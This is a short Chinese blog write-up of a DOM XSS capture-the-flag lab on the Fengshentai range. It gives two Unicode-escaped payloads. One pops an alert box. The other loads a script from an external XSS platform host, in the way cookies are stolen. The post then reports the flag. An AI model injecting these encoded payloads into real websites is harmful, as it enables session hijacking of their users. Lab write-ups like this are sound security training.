封神台DOM XSS靶场

最新推荐文章于 2024-08-05 22:58:41 发布

炎凰先生

最新推荐文章于 2024-08-05 22:58:41 发布

阅读量1k

点赞数 1

分类专栏： Web安全微专业

本文链接：https://blog.csdn.net/qq_40941912/article/details/108927759

版权

Web安全微专业专栏收录该内容

14 篇文章 4 订阅

订阅专栏

本文介绍了DOM型跨站脚本（DOM XSS）的攻击实例，通过在页面输入框中使用Native编码触发JavaScript执行，展示了payload如何在URL中成功执行并弹窗。进一步，利用编码后的payload从xss平台构造攻击，最终根据靶场提示获取flag。文章揭示了DOM XSS的安全风险及防范措施。

摘要由CSDN通过智能技术生成

作业

DOM XSS靶场（Rank: 10）

在页面上可填写的地方都输入 Native编码：
\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0032\u0033\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
插入到url中，发现弹窗了：

此处的payload被当作代码执行了
把xss平台构造好的payload编码后插入进去：
\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0078\u0073\u0073\u0070\u0074\u002e\u0063\u006f\u006d\u002f\u0074\u0053\u0077\u0074\u0066\u006d\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e
按照靶场提示的步骤拿到flag{zkz{x3ser-D0m}}，提交正确